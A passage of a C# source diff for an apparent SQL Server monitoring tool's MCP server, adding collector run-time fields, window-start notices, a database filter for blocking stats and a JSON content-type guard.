question an operator watching an install actually asks - \"is the running service the build that carries fix X\" - is answered by version directly instead of by restart inference plus a merge-list lookup the watcher has no way to perform. version is the running build's informational version - the same read the Darling service's --version verb prints, with any SemVer build-metadata suffix stripped and the prerelease suffix KEPT, because the nightly stamp lives in the prerelease and one nightly differs from the next in nothing else; Lite has no version verb and reads the same attribute off its own app assembly, stamped from the same single declaration. counting_since remains the restart detector, and a restart is NOT a build: a crash-restart moves counting_since exactly the way an install does, which is why inferring a build from it misattributes. started_at is the SAME instant counting_since carries, deliberately - both mean \"when this process came up\", and a second clock for one fact would put two near-identical stamps on one payload whose skew a reader would have to explain away. compiled_schema_version is the schema rung this BUILD expects - the compiled constant, not a read of the store's migrated rung - so beside version it says what this build requires of the store it serves, whether or not that store has caught up. When a recent analysis pass could not read one of its fact families for this server, the payload also carries analysis_caveats (analysis_time, families_failed, families_total, entries[{family, read, outcome, message, failed_in_last_passes}]) — the analysis pass's own reads of the collectors' tables, a different layer from the collector rows; absent when the last 24 remembered passes were clean. Process memory: a service restart forgets. full_detail (#4198): every collector row above defaults to a compact shape - collector, status, compact, total_runs, rows_stored, avg_duration_ms, last_success - for a collector that is HEALTHY with zero errors, session_missing, extension_missing, permission_denied and abandoned runs this window, not regressed, and either stored rows or is a known event collector reading zero at rest. Any other row - failing, stale, stopped, erroring, denied, regressed, or a non-event collector's unexplained zero - is never dropped and never silently shortened to that seven-field shape: it gets partial_detail: true instead of compact, and a leaner shape naming what is wrong and since when - collector, status, partial_detail, total_runs, errors, session_missing, abandoned, rows_stored, last_success, last_error, last_error_truncated, last_error_at, last_denied_at, denied_since_last_success, regressed_from_productive, regression_finding, output_finding, output_finding_truncated - rather than every field named earlier in this guide. Pass full_detail=true for every field on every row regardless of health or tier. collector_detail_note on the envelope names how many rows compacted, how many took the leaner shape, and how full_detail restores each. Run time (#4938): a collector that runs once a day or less often can have a run time, a fixed time of day on the monitored server's own clock. run_at is that time as 24-hour HH:MM, or null when the collector has none. next_run_utc is when the collector is next due, in UTC, or null when it has no run time or is disabled. It is the run time plus this server's fixed spread of under 60 minutes, so a fleet-wide run time does not start every server in the same minute, and a run may start up to 60 minutes after it. When next_run_utc equals the time of the read, the collector is due now and has not run for this slot yet. A day missed past those 60 minutes is skipped, never replayed, so a collector that skipped a day reads STALE before its next run (a daily collector goes stale after 36 hours). run_time_note says so: how long the collector has not run, the stale line it is past, and when the next run is due. On Lite it also names the slot, in the form run_at uses, and says Lite collects only while it is open. run_time_note is null when no day was skipped, and while the collector is due now or disabled. A server whose clock is not known yet reads the run time as UTC. A run time does not change the health bands, which stay on the shipped cadence, and frequency_minutes elsewhere in this payload is still the shipped cadence. A full row always carries run_at, next_run_utc and run_time_note, each null when the collector has no run time. A partial row (a collector that needs a look) and a compact row (a healthy collector with nothing to report) carry run_at and next_run_utc only when the collector has a run time, so a partial or compact row without them has none. A partial row carries run_time_note under the same condition, and a compact row never carries it, because a skipped day is not healthy.")]
     public static async Task<string> GetCollectionHealth(
         LocalDataService dataService,
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
-        [Description("Return every field for every collector. Default compacts a HEALTHY collector with nothing to report; failing, stale, stopped, erroring, denied or regressed collectors always keep every field.")] bool full_detail = false)
+        [Description("Return every field for every collector. Default compacts a HEALTHY collector with nothing to report; failing, stale, stopped, erroring, denied or regressed collectors always keep every field.")] bool full_detail = false,
+        McpCollectorRunTimes? runTimes = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -295,6 +302,12 @@ public static async Task<string> GetCollectionHealth(
                 return McpHelpers.Status("unavailable", "No collection health data available.");
             }
 
+            /* #4938: a collector's run time, read fresh on every call from the schedule the sweep reads. It is never an
+               input to the band: HealthStatus is classified from the shipped cadence inside the health read. */
+            var runTimeReadings = runTimes is null
+                ? new Dictionary<string, CollectorRunTimeReading>(StringComparer.OrdinalIgnoreCase)
+                : await runTimes.ReadAsync(dataService, resolved.ServerId, rows, DateTime.UtcNow);
+
             var compactCount = full_detail ? 0 : rows.Count(IsCollectionHealthCompactEligible);
             /* #4198's second cut: a row that fails the predicate above used to keep the full ~30-field shape
                below regardless of full_detail. Measured on both SKUs' #4198 fixtures that alone could not clear
@@ -302,13 +315,17 @@ below regardless of full_detail. Measured on both SKUs' #4198 fixtures that alon
                previewing free text cannot touch -- so that row now gets PartialCollectionHealthRow instead,
                unless full_detail=true asks for everything. */
             var partialCount = full_detail ? 0 : rows.Count - compactCount;
-            var result = rows.Select(r => full_detail
-                ? (object)FullCollectionHealthRow(r)
-                : IsCollectionHealthCompactEligible(r)
-                    ? (object)CompactCollectionHealthRow(r)
-                    : (object)PartialCollectionHealthRow(r));
+            var result = rows.Select(r =>
+            {
+                runTimeReadings.TryGetValue(r.CollectorName, out var runTime);
+                return full_detail
+                    ? (object)FullCollectionHealthRow(r, runTime)
+                    : IsCollectionHealthCompactEligible(r)
+                        ? (object)CompactCollectionHealthRow(r, runTime)
+                        : (object)PartialCollectionHealthRow(r, runTime);
+            });
 
-            static object FullCollectionHealthRow(CollectorHealthRow r) => new
+            static object FullCollectionHealthRow(CollectorHealthRow r, CollectorRunTimeReading? runTime) => new
             {
                 collector = r.CollectorName,
                 status = r.HealthStatus,
@@ -454,7 +471,17 @@ reads high at width with no concentration behind it. Field-for-field Darling's.
                     run_ms = r.SlowestRunDurationMs,
                     slowest_share_pct = Math.Round(r.FanoutSlowestSharePercent!.Value, 2),
                     dominance = Math.Round(r.FanoutDominance.Value, 2)
-                }
+                },
+                /* #4938: the collector's run time, appended after the last field so nothing a consumer indexes by
+                   position moved. run_at is the configured time as HH:MM on the monitored server's clock; null
+                   means the collector has no run time. next_run_utc is when it is next due, UTC: the run time plus
+                   the server's fixed spread, and the time of this read when the collector is due now. Null with a
+                   run_at present means the collector is disabled. run_time_note is set only when a day was skipped:
+                   no run for longer than the stale line while the next slot is still ahead. None of the three is a
+                   band input. Field-for-field Darling's twin. */
+                run_at = runTime?.RunAt,
+                next_run_utc = runTime?.NextRunUtcText,
+                run_time_note = runTime?.SkippedDayNote
             };
 
             /* #2296: the roll-up that makes half-rate collection visible. Every collector on a saturated
@@ -476,6 +503,9 @@ server reads HEALTHY — from each one's own seat nothing is wrong — so the co
                     p95_duration_ms = Math.Round(r.P95DurationMs, 0),
                     max_duration_ms = Math.Round(r.MaxDurationMs, 0),
                     frequency_minutes = r.FrequencyMinutes,
+                    /* #4938: the run time beside the shipped cadence it replaces for a daily collector; null when the
+                       collector has none. */
+                    run_at = runTimeReadings.TryGetValue(r.CollectorName, out var heaviestRunTime) ? heaviestRunTime.RunAt : null,
                     /* #2446: the ranking key said out loud, beside the single-run cost it is derived from.
                        The list still ranks by amortized contribution, because that is what explains
                        busy_percent — but an operator reading it to find the collector that overran a body
@@ -718,16 +748,34 @@ private static bool IsCollectionHealthCompactEligible(CollectorHealthRow r) =>
     /// without the ~30 fields a row with nothing to report does not need. <c>compact: true</c> is the caller's
     /// signal that this row was shortened — a full row never carries the property, so its mere presence is
     /// unambiguous without a second lookup against <c>full_detail</c>.</summary>
-    private static object CompactCollectionHealthRow(CollectorHealthRow r) => new
-    {
-        collector = r.CollectorName,
-        status = r.HealthStatus,
-        compact = true,
-        total_runs = r.TotalRuns,
-        rows_stored = r.RowsStored,
-        avg_duration_ms = Math.Round(r.AvgDurationMs, 0),
-        last_success = r.LastSuccessTime?.ToString("o"),
-    };
+    private static object CompactCollectionHealthRow(CollectorHealthRow r, CollectorRunTimeReading? runTime) => runTime is null
+        ? new
+        {
+            collector = r.CollectorName,
+            status = r.HealthStatus,
+            compact = true,
+            total_runs = r.TotalRuns,
+            rows_stored = r.RowsStored,
+            avg_duration_ms = Math.Round(r.AvgDurationMs, 0),
+            last_success = r.LastSuccessTime?.ToString("o"),
+        }
+        /* #4938: a compact row exists to stay small, so two null keys on every one of ~40 rows would only make it
+           bigger. A compact row carries the run time only when the collector has one, which is the row that needs it:
+           a healthy daily collector is exactly what compacts by default. A compact row without the keys has none. It
+           never carries run_time_note: a skipped day reads STALE or worse, so its row is never a compact one.
+           Field-for-field Darling's twin. */
+        : new
+        {
+            collector = r.CollectorName,
+            status = r.HealthStatus,
+            compact = true,
+            total_runs = r.TotalRuns,
+            rows_stored = r.RowsStored,
+            avg_duration_ms = Math.Round(r.AvgDurationMs, 0),
+            last_success = r.LastSuccessTime?.ToString("o"),
+            run_at = (string?)runTime.RunAt,
+            next_run_utc = runTime.NextRunUtcText,
+        };
 
     /// <summary>#4198: the shape a row that FAILS <see cref="IsCollectionHealthCompactEligible"/> gets by
     /// default -- neither the full ~30-field shape nor <see cref="CompactCollectionHealthRow"/>'s "nothing to
@@ -739,12 +787,13 @@ private static bool IsCollectionHealthCompactEligible(CollectorHealthRow r) =>
     /// scanning for <c>compact != true</c> never skips it, and reusing that marker here would defeat that check
     /// silently. full_detail=true restores every field named in the guide above, same as it does for a compact
     /// row.</summary>
-    private static object PartialCollectionHealthRow(CollectorHealthRow r)
+    private static object PartialCollectionHealthRow(CollectorHealthRow r, CollectorRunTimeReading? runTime)
     {
         /* OutputFinding recomputes FormatOutputFinding's sentence on every access -- read it once rather than
            twice (preview, then the truncated comparison). */
         var outputFinding = r.OutputFinding;
-        return new
+        return runTime is null
+        ? new
         {
             collector = r.CollectorName,
             status = r.HealthStatus,
@@ -777,6 +826,36 @@ a status word (about 200 characters at most), and only a regressed row carries o
             regression_finding = r.AnyRegressionFinding,
             output_finding = McpHelpers.Truncate(outputFinding, OutputFindingPreviewLength),
             output_finding_truncated = outputFinding is not null && outputFinding.Length > OutputFindingPreviewLength,
+        }
+        /* #4938: a partial row carries the run time only when the collector has one, like a compact row, so a collector
+           with none adds no bytes to a payload that is sized to sit under the default budget. The fields are the ones
+           the full row ends with; a partial row without them has no run time. run_time_note rides under that condition
+           too: only a collector with a run time can skip a day, so a partial row for a collector with none has nothing
+           to say and no key, and the note is null unless a day was skipped. A skipped day reads STALE or worse, so its
+           row is never a compact one: the note has no compact twin. The full row always carries it. */
+        : new
+        {
+            collector = r.CollectorName,
+            status = r.HealthStatus,
+            partial_detail = true,
+            total_runs = r.TotalRuns,
+            errors = r.ErrorCount,
+            session_missing = r.SessionMissingCount,
+            abandoned = r.AbandonedCount,
+            rows_stored = r.RowsStored,
+            last_success = r.LastSuccessTime?.ToString("o"),
+            last_error = McpHelpers.Truncate(r.LastError, ErrorMessagePreviewLength),
+            last_error_truncated = r.LastError is not null && r.LastError.Length > ErrorMessagePreviewLength,
+            last_error_at = r.LastErrorTime?.ToString("o"),
+            last_denied_at = r.LastDeniedTime?.ToString("o"),
+            denied_since_last_success = r.DeniedSinceLastSuccess,
+            regressed_from_productive = r.AnyRegression,
+            regression_finding = r.AnyRegressionFinding,
+            output_finding = McpHelpers.Truncate(outputFinding, OutputFindingPreviewLength),
+            output_finding_truncated = outputFinding is not null && outputFinding.Length > OutputFindingPreviewLength,
+            run_at = (string?)runTime.RunAt,
+            next_run_utc = runTime.NextRunUtcText,
+            run_time_note = runTime.SkippedDayNote,
         };
     }
 
@@ -888,7 +967,20 @@ other read carries and take reach away from exactly the read whose premise is lo
             var truncated = rows.Count > effectiveLimit;
             if (truncated) rows = rows.Take(effectiveLimit).ToList();
 
-            var filtered = !string.IsNullOrWhiteSpace(collector_name) || min_duration_ms is not null;
+            var filtered = !string.IsNullOrWhiteSpace(collector_name) || min_duration_ms is not null
+                || !string.IsNullOrWhiteSpace(status);
+
+            /* #4966: where this server's run log starts for the window. The probe reads the log itself (v_collection_log, on
+               collection_time; the relation names no collector, so it is the row-only probe) over the window the read took, and it
+               ignores the collector, duration and status filters on purpose: the notice says where the LOG starts, not where one
+               collector's or one status's runs do. A run is stamped with its own time, so no run can be older than the probe's
+               floor: the plain notice fits, not the event-time form. The window is uncapped, so one past the log's retention is
+               exactly what this reports. The fleet form (server_name omitted or "*") names no server and carries no notice: there
+               is no one server's start to give (see GetCollectionLogFleetAsync). */
+            var requestedStart = windowEnd.AddHours(-hours);
+            Task<McpQueryTools.McpWindowNotice> NoticeAsync(bool emptyAnswer) => McpQueryTools.WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.CollectionLog, resolved.ServerId, requestedStart, windowEnd),
+                requestedStart, windowEnd, "collection_log", emptyAnswer: emptyAnswer);
 
             if (rows.Count == 0)
             {
@@ -923,18 +1015,27 @@ collected. Same order as Darling's twin.
                         $"No collector runs have EVER been recorded for {resolved.ServerName}. This is not an empty window — collection has not run at all for this server. Check that collection is running and that the server is enabled; get_collection_health will be equally empty until it does.");
                 }
 
+                var emptyNotice = await NoticeAsync(emptyAnswer: true);
+
                 if (filtered)
                 {
                     return McpHelpers.Status(
                         "empty",
-                        $"No collector runs on {resolved.ServerName} in the last {hours} hour(s) matched {McpHelpers.DescribeCollectionLogFilters(collector_name, min_duration_ms, status)}. This says nothing about the window as a whole — the filters were applied, so unfiltered runs may well exist. Drop them to see what the window holds, and check collector_name against the names get_collection_health lists, since it is matched exactly.");
+                        $"No collector runs on {resolved.ServerName} in the last {hours} hour(s) matched {McpHelpers.DescribeCollectionLogFilters(collector_name, min_duration_ms, status)}. This says nothing about the window as a whole — the filters were applied, so unfiltered runs may well exist. Drop them to see what the window holds, and check collector_name against the names get_collection_health lists, since it is matched exactly.",
+                        emptyNotice.AsHints());
                 }
 
                 return McpHelpers.Status(
                     "empty",
-                    $"No collector runs recorded for {resolved.ServerName} in the last {hours} hour(s). This server HAS collected before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent runs.");
+                    McpHelpers.QuietUnlessCut(
+                        emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                        factual: $"No collector runs recorded for {resolved.ServerName} in the last {hours} hour(s)",
+                        coveredClaim: ". This server HAS collected before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent runs."),
+                    emptyNotice.AsHints());
             }
 
+            var notice = await NoticeAsync(emptyAnswer: false);
+
             var result = rows.Select(r => new
             {
                 collector = r.CollectorName,
@@ -962,6 +1063,11 @@ the whole field. */
                 server = resolved.ServerName,
                 /* The span REQUESTED, and no longer the only span reported -- see the two timestamps. */
                 hours_back = hours,
+                /* #4966: where the run log starts, always present (false and null when the log covered the window). No
+                   effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 run_count = rows.Count,
                 truncated,
                 /*
@@ -983,8 +1089,9 @@ far back the read reached. Under a duration floor it is a cost-RANKED sample dra
                     thing only under time ordering, and the ranked page would report the wrong ends while
                     the time-ordered test kept passing.
                 */
-                oldest_returned_collection_time = rows.Min(r => r.CollectionTime).ToString("o"),
-                newest_returned_collection_time = rows.Max(r => r.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window it covers, so it prints like effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Min(r => r.CollectionTime)),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Max(r => r.CollectionTime)),
                 /* Which ordering this page came back in, stated rather than left to be inferred from the
                    filters sent. Same two tokens as Darling's twin, from the shared constants. */
                 order = min_duration_ms is null
@@ -1015,6 +1122,8 @@ key meaning two unrelated things by branch is the collision the name avoids. Eac
     /// The FLEET-WIDE form of <see cref="GetCollectionLog"/> (#4199), Darling's twin exactly: same
     /// validations, same filters, same truncated/ordering contract, merged across every ENABLED server
     /// instead of scoped to one, each row carrying which server it came from.
+    /// <para>#4966: no window-floor notice here. The one-server form says where THAT server's run log starts; this form
+    /// names no server and merges every enabled server's runs, so there is no single start to give.</para>
     /// </summary>
     private static async Task<string> GetCollectionLogFleetAsync(
         LocalDataService dataService,
@@ -1098,8 +1207,9 @@ private static async Task<string> GetCollectionLogFleetAsync(
                 hours_back = hours,
                 run_count = rows.Count,
                 truncated,
-                oldest_returned_collection_time = rows.Min(r => r.CollectionTime).ToString("o"),
-                newest_returned_collection_time = rows.Max(r => r.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window it covers, so it prints like effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Min(r => r.CollectionTime)),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Max(r => r.CollectionTime)),
                 order = min_duration_ms is null
                     ? McpHelpers.CollectionLogOrderNewestFirst
                     : McpHelpers.CollectionLogOrderSlowestFirst,
@@ -1170,7 +1280,7 @@ other read carries and take reach away from exactly the read whose premise is lo
             {
                 server = resolved.ServerName,
                 hours_back = hours,
-                database_name,
+                database_name = filter?[0],
                 waiting_tasks = waits.Select(w => new
                 {
                     collection_time = w.CollectionTime.ToString("o"),
@@ -1191,13 +1301,38 @@ other read carries and take reach away from exactly the read whose premise is lo
         }
     }
 
-    [McpServerTool(Name = "get_blocking_stats"), Description("Gets blocking SEVERITY over time for a server: per-minute blocking duration (event count, total, max and average wait) and per-minute deadlock severity (victim count plus total, max and average wait across every process in the graphs). Incident counts say how OFTEN; this says how BAD. Ten one-second blocks and one ten-minute block are the same count and are not the same problem.")]
+    /// <summary>
+    /// #4966: the one window notice of <c>get_blocking_stats</c>, which reads two SEPARATE series in one answer: blocking
+    /// (the blocked process reports, with the always-on DMV blocking snapshots beside them) and deadlocks. Two rules, each
+    /// for what it joins. Inside the blocking series the floor is the EARLIER of the XE reports and the DMV snapshots
+    /// (<see cref="LocalDataService.EarlierCoverageFloor"/>, the grid's own also-covered rule): they measure the same thing,
+    /// so either one covering the window covers it. Between the two series the notice comes from the LATER floor
+    /// (<see cref="LocalDataService.LaterCoverageFloor"/>): they measure different things, and a series whose collector
+    /// started inside the window has an empty head that reads as "none happened" beside the other series' data, so the
+    /// other series being covered must not hide it. A null probe answer gives way to the other series' floor. Each probe
+    /// reads the column its series windows on (<c>event_time</c>, <c>deadlock_time</c>), so no row a bucket stands for is
+    /// older than its floor. A data answer over a window of 90 minutes or less starts no probe; an empty answer always
+    /// probes both.
+    /// </summary>
+    private static Task<McpQueryTools.McpWindowNotice> BlockingStatsWindowNoticeAsync(
+        LocalDataService dataService, int serverId, int hours, DateTime windowEnd, bool emptyAnswer = false)
+    {
+        var requestedStart = windowEnd.AddHours(-hours);
+        return McpQueryTools.WindowNoticeAsync(
+            async () => LocalDataService.LaterCoverageFloor(
+                await dataService.GetQueryWindowFloorAsync(QueryWindowRelation.BlockedProcessReports, serverId, requestedStart, windowEnd),
+                await dataService.GetQueryWindowFloorAsync(QueryWindowRelation.Deadlocks, serverId, requestedStart, windowEnd)),
+            requestedStart, windowEnd, "blocked_process_report and deadlocks", emptyAnswer: emptyAnswer);
+    }
+
+    [McpServerTool(Name = "get_blocking_stats"), Description("Gets blocking SEVERITY over time for a server: per-minute blocking duration (event count, total, max and average wait) and per-minute deadlock severity (victim count plus total, max and average wait across every process in the graphs). Incident counts say how OFTEN; this says how BAD. Ten one-second blocks and one ten-minute block are the same count and are not the same problem. The source key names the collector that answered, blocked-process-report or DMV snapshot; the DMV snapshot is used only when the blocked process reports have no rows for the chosen databases, so source can differ between filters.")]
     public static async Task<string> GetBlockingStats(
         LocalDataService dataService,
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24. No upper bound (this read exists to look further back than the 168-hour reads allow); a negative or zero value is refused rather than read as its absolute value.")] int hours_back = 24,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit the blocking series to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -1214,7 +1349,12 @@ other read carries and take reach away from exactly the read whose premise is lo
         try
         {
             var hours = hours_back;
-            var blocking = await dataService.GetBlockingDurationStatsAsync(resolved.ServerId, hours, asOfUtc: windowEnd);
+            /* #5244: database_name appended LAST (H1). Only the BLOCKING series is limited: deadlock graphs carry no
+               database column here, so the deadlock series stays whole (Darling's twin does the same) and every text
+               that speaks of "blocking or deadlocks" says so. A blank is "no filter". */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var blocking = await dataService.GetBlockingDurationStatsAsync(
+                resolved.ServerId, hours, databaseNames: database == null ? null : new[] { database }, asOfUtc: windowEnd);
             var deadlocks = await dataService.GetDeadlockSeverityStatsAsync(resolved.ServerId, hours, asOfUtc: windowEnd);
 
             if (blocking.Count == 0 && deadlocks.Count == 0)
@@ -1231,19 +1371,42 @@ as Darling's twin. */
                 var everRan =
                     await dataService.HasAnyBlockingCollectorRunAsync(resolved.ServerId)
                     || await dataService.HasAnyDeadlockCollectorRunAsync(resolved.ServerId);
+                var emptyNotice = everRan
+                    ? await BlockingStatsWindowNoticeAsync(dataService, resolved.ServerId, hours, windowEnd, emptyAnswer: true)
+                    : default;
                 return everRan
                     ? McpHelpers.Status(
                         "empty",
-                        $"No blocking or deadlocks recorded for {resolved.ServerName} in the last {hours} hour(s). The blocking collectors HAVE run successfully for this server, so the window is genuinely clear rather than blind.")
+                        McpHelpers.QuietUnlessCut(
+                            emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                            factual: database == null
+                                ? $"No blocking or deadlocks recorded for {resolved.ServerName} in the last {hours} hour(s)"
+                                : $"No blocking{McpDatabaseSelection.ForChosen(new[] { database })} (and no deadlocks, which are not limited by database) recorded for {resolved.ServerName} in the last {hours} hour(s)",
+                            coveredClaim: ". The blocking collectors HAVE run successfully for this server, so the window is genuinely clear rather than blind."),
+                        emptyNotice.AsHints())
                     : McpHelpers.Status(
                         "unavailable",
                         $"The blocking collectors have NEVER run successfully for {resolved.ServerName}, so this is NOT a clean bill of health — nothing looked. Blocked-process reports need the XE session running, or the DMV blocking snapshot collector enabled; check those before concluding this server does not block.");
             }
 
+            var notice = await BlockingStatsWindowNoticeAsync(dataService, resolved.ServerId, hours, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back = hours,
+                /* #4966: where this server's blocking data starts for the window, always present (false and null when the
+                   store covered it). ONE notice for the two series, from the later of the two series' floors. No
+                   effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: the database the blocking series is limited to (the deadlock series never is); null for all.
+                   After the three notice keys, as on Darling's twin. */
+                database_name = database,
+                /* #5244: which collector the blocking series came from (null when it has no rows): the blocked-process reports, or the
+                   DMV snapshot when those have no rows for the chosen databases. One source per answer. */
+                source = blocking.Count == 0 ? null : blocking[0].Source,
                 blocking_duration = blocking.Select(b => new
                 {
                     time = b.Time.ToString("o"),
diff --git a/Lite/Mcp/McpHostService.cs b/Lite/Mcp/McpHostService.cs
index 3342a603a0..89fb77e176 100644
--- a/Lite/Mcp/McpHostService.cs
+++ b/Lite/Mcp/McpHostService.cs
@@ -45,6 +45,15 @@ public McpHostService(LocalDataService dataService, ServerManager serverManager,
         _duckDb = duckDb;
         _port = port;
         _scheduleManager = scheduleManager;
+
+        /* #4999: the health read judges each collector by the interval it is scheduled at on that server, the
+           same answer the analysis tools bound their reads by (see RegisterAnalysisService below), not by the
+           cadence it shipped with. Null leaves this instance on the app-wide answer every LocalDataService reads
+           (LocalDataService.DefaultCollectorFrequencyMinutes), which is none when nothing set one, so every row
+           then keeps its shipped cadence. */
+        dataService.CollectorFrequencyMinutes = scheduleManager is null
+            ? null
+            : (serverId, collector) => scheduleManager.GetFrequencyForStorageServer(serverManager, serverId, collector);
     }
 
     /// <summary>
@@ -72,6 +81,39 @@ internal static void RegisterAnalysisService(
             baselineCache: BaselineCache.For(duckDb)));
     }
 
+    /// <summary>
+    /// #4938: registers the run-time source get_collection_health reads: the collector schedules the sweep reads, and the
+    /// server list a storage id is looked up in. The tool takes the service as an optional parameter, so a host that left
+    /// this registration out would not fail on a call: the parameter would keep its null default and every collector would
+    /// read as having no run time. Extracted so a test resolves the service from the production registration instead of a
+    /// hand-built one that could drift from it.
+    /// </summary>
+    internal static void RegisterCollectorRunTimes(IServiceCollection services, ScheduleManager? schedules, ServerManager serverManager)
+    {
+        services.AddSingleton(new McpCollectorRunTimes(schedules, serverManager));
+    }
+
+    /// <summary>
+    /// A POST must carry a JSON Content-Type; any other type, or none, is answered 415 before <c>MapMcp</c>.
+    /// The guard is installed right after the Host guard. A charset parameter is fine. GET (the event stream)
+    /// and DELETE carry no body to type and pass. This is the twin of the gate in Darling's MCP host
+    /// (<c>DarlingMcpHostService</c>); both call the one shared test, <see cref="JsonContentType.IsJson"/>.
+    /// </summary>
+    internal static void UseJsonPostGuard(IApplicationBuilder app)
+    {
+        app.Use(async (context, next) =>
+        {
+            if (HttpMethods.IsPost(context.Request.Method)
+                && !JsonContentType.IsJson(context.Request.ContentType))
+            {
+                context.Response.StatusCode = StatusCodes.Status415UnsupportedMediaType;
+                return;
+            }
+
+            await next(context);
+        });
+    }
+
     protected override async Task ExecuteAsync(CancellationToken stoppingToken)
     {
         try
@@ -91,6 +133,9 @@ protected override async Task ExecuteAsync(CancellationToken stoppingToken)
             builder.Services.AddSingleton(_dataService);
             builder.Services.AddSingleton(_serverManager);
             builder.Services.AddSingleton(_muteRuleService);
+            /* #4938: get_collection_health shows each collector's run time and next run, from the schedule the sweep reads.
+               Registered through the method a test also calls (see RegisterCollectorRunTimes). */
+            RegisterCollectorRunTimes(builder.Services, _scheduleManager, _serverManager);
             var planFetcher = new SqlPlanFetcher(_serverManager);
             /* #4726: registered PER CALL, through the method a test also calls (see RegisterAnalysisService). */
             RegisterAnalysisService(builder.Services, _duckDb, planFetcher, _serverManager, _scheduleManager);
@@ -160,9 +205,13 @@ tool accepts — instead of being run with the key silently dropped. The SDK bin
                    fact: it would make a tool's own truncated/*_returned fields wrong, cut calls that
                    explicitly asked for more rows, and drop the newest rows of anything sorted
                    oldest-first. Each tool sizes its own defaults to fit instead — see
-                   McpResponseBudget.DefaultBytes, the one shared size target both SKUs read. */
-                .WithRequestFilters(filters => filters
-                    .AddCallToolFilter(McpUnknownArgumentGuard.Instance));
+                   McpResponseBudget.DefaultBytes, the one shared size target both SKUs read.
+
+                   The statement filter (#4348, SensitiveStatementOutputFilter) is registered LAST, as Darling's
+                   host does: the first filter added is the outermost, so the last one sits next to the tool and
+                   reads each result as the tool's own JSON. It covers every tool with no per-tool change, error
+                   results included. The list lives in AddCallToolFilters so a test runs the REAL registration. */
+                .WithRequestFilters(AddCallToolFilters);
 
             _app = builder.Build();
 
@@ -186,6 +235,8 @@ guard is shared code and covers both apps rather than only the one that was expl
                 await next(context);
             });
 
+            UseJsonPostGuard(_app);
+
             _app.MapMcp();
 
             AppLogger.Info("MCP", $"Starting MCP server on http://localhost:{_port}");
@@ -202,6 +253,15 @@ guard is shared code and covers both apps rather than only the one that was expl
         }
     }
 
+    /// <summary>
+    /// The call-tool filters, in registration order: the unknown-argument guard (#3870), then the statement filter
+    /// (#4348). The same two objects Darling's host registers, from <c>PerformanceMonitor.Common</c>, so the two SKUs
+    /// cannot answer differently. Registered through this one method so a test can start a server with the REAL list.
+    /// </summary>
+    internal static void AddCallToolFilters(IMcpRequestFilterBuilder filters) => filters
+        .AddCallToolFilter(McpUnknownArgumentGuard.Instance)
+        .AddCallToolFilter(SensitiveStatementOutputFilter.Instance);
+
     public override async Task StopAsync(CancellationToken cancellationToken)
     {
         if (_app != null)
diff --git a/Lite/Mcp/McpInstructions.cs b/Lite/Mcp/McpInstructions.cs
index fe41ca799b..a8b9569d69 100644
--- a/Lite/Mcp/McpInstructions.cs
+++ b/Lite/Mcp/McpInstructions.cs
@@ -32,6 +32,8 @@ You are connected to a SQL Server performance monitoring tool via Performance Mo
 
         Every tool FAILURE — an exception the tool caught while reading — is the same envelope with `status` = `error`: `{"status":"error","message":"Error during <tool_name>: <what went wrong>","hints":{"operation":"<tool_name>"}}`. It is the fifth `status` word and the only one that is not an answer about the data: the four above say what kind of nothing the store holds, `error` says the read did not complete, so retry it or report it rather than reading it as an all-clear. Branch on `status`, not on the message text. Data results keep their own shape and never carry a top-level `message`, which is how the envelope is told apart from data without a schema. A REFUSAL — a `server_name` that does not resolve, an `hours_back` outside its range, a `limit` past its ceiling, a required parameter that was not sent — is neither a failure nor a miss and has its own word: the same envelope with `status` = `invalid`: `{"status":"invalid","message":"<what was refused, and what is accepted>","hints":{"parameter":"<parameter_name>"}}`. The read did not run because the request as given cannot be served; `hints.parameter` names the knob to change and the message says what it accepts, so fix that and call again — retrying it unchanged answers the same way. It is the word the write tools already use for a body that will not parse, and it means the same thing there. Six `status` words, then: four kinds of nothing, one failure (`error`: retry or report), one refusal (`invalid`: correct the call).
 
+        `window_truncated` true: the window starts before the store's data, not a cut page (`effective_start`, `truncation_note`).
+
         ### Asking about a PAST window
 
         Every tool below that takes `hours_back` also takes `as_of`: an optional ISO-8601 UTC instant that moves the END of the window off "now"; `hours_back` stays the LENGTH. Reach for it whenever the question is about a time rather than about the present, and do NOT substitute a wider `hours_back`: for an aggregate read a wider window is a DIFFERENT answer, not the same answer with more rows.
diff --git a/Lite/Mcp/McpIoTools.cs b/Lite/Mcp/McpIoTools.cs
index 927836e00c..151732ac58 100644
--- a/Lite/Mcp/McpIoTools.cs
+++ b/Lite/Mcp/McpIoTools.cs
@@ -14,18 +14,36 @@ public sealed class McpIoTools
     public static async Task<string> GetFileIoStats(
         LocalDataService dataService,
         ServerManager serverManager,
